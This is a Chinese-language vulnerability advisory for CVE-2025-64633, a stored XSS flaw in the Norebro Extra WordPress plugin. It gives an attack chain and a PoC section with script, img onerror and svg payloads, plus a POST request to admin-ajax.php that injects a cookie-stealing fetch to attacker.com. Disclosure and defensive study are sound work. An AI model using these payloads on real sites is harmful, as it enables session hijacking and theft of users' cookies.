IPBUF安全漏洞报告
English
CVE-2025-64633 CVSS 5.3 中危

CVE-2025-64633: Norebro Extra WordPress插件存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64633
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
colabrio Norebro Extra (WordPress插件)

相关标签

CVE-2025-64633存储型XSSWordPress插件漏洞Norebro ExtraCWE-79跨站脚本攻击代码注入中危漏洞Patchstack

漏洞概述

CVE-2025-64633是WordPress主题Norebro Extra插件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于WordPress插件norebro-extra中,版本从任意版本到1.6.8均受影响。漏洞的根本原因是该插件未能正确对用户输入的脚本相关HTML标签进行中和(Neutralization),导致攻击者可以在网页中注入恶意JavaScript代码。由于这是存储型XSS,恶意代码会被永久存储在服务器端,当其他用户访问受影响的页面时,恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。攻击者无需任何认证权限即可利用此漏洞,且无需用户交互即可完成攻击。该漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性(低影响),对完整性和可用性无影响。

技术细节

该漏洞属于CWE-79(跨站脚本攻击)分类,具体为Basic XSS类型。在norebro-extra插件的某些功能模块中,应用程序直接将从用户处获取的数据未经适当过滤或转义即输出到HTML页面中。攻击者可以通过在输入字段中注入恶意脚本标签(如<script>、<img src=x onerror=...>、<svg onload=...>等)来实现JavaScript代码执行。由于插件未对特殊字符进行HTML实体编码,浏览器在解析页面时会将恶意代码作为有效的HTML/JavaScript执行。攻击向量为网络路径(AV:N),无需认证(PR:N)和用户交互(UI:N),攻击者可以直接构造恶意请求将脚本注入到数据库中。此后,任何访问包含该恶意内容的页面的用户都会触发脚本执行,攻击者可借此窃取Cookie、会话令牌或其他敏感信息。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标WordPress网站,识别是否使用Norebro Extra插件及其版本
STEP 2
步骤2
漏洞识别:确认插件版本<=1.6.8,找到存在XSS漏洞的输入点(如主题选项、自定义代码字段等)
STEP 3
步骤3
Payload注入:攻击者构造恶意XSS Payload(如<img src=x onerror=...>)并提交到存在漏洞的功能模块
STEP 4
步骤4
数据持久化:恶意脚本被未经处理直接存储到数据库中
STEP 5
步骤5
触发阶段:受害者访问包含恶意内容的页面,浏览器解析HTML时执行注入的JavaScript代码
STEP 6
步骤6
攻击完成:攻击者通过JavaScript获取受害者的Cookie、会话令牌或其他敏感信息,可能进一步进行会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-64633 PoC: Stored XSS in Norebro Extra WordPress Plugin --> <!-- Replace TARGET_URL with the vulnerable WordPress site URL --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using img onerror event --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Method 3: Using SVG onload event --> <svg onload=eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))></svg> <!-- PoC Exploit Request --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: TARGET_URL Content-Type: application/x-www-form-urlencoded action=norebro_extra_save_option&option_name=footer_code&option_value=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

影响范围

Norebro Extra <= 1.6.8

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)禁用或删除Norebro Extra插件(如不使用);2)使用Web应用防火墙(WAF)规则过滤恶意XSS Payload;3)限制非管理员用户访问主题自定义功能;4)添加HTTP安全响应头(如X-XSS-Protection、X-Content-Type-Options);5)监控服务器日志以检测潜在的利用尝试。建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表